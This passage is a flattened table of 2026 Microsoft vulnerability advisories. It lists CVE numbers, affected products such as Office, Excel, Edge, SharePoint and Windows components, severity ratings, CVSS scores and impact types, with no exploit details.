Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n 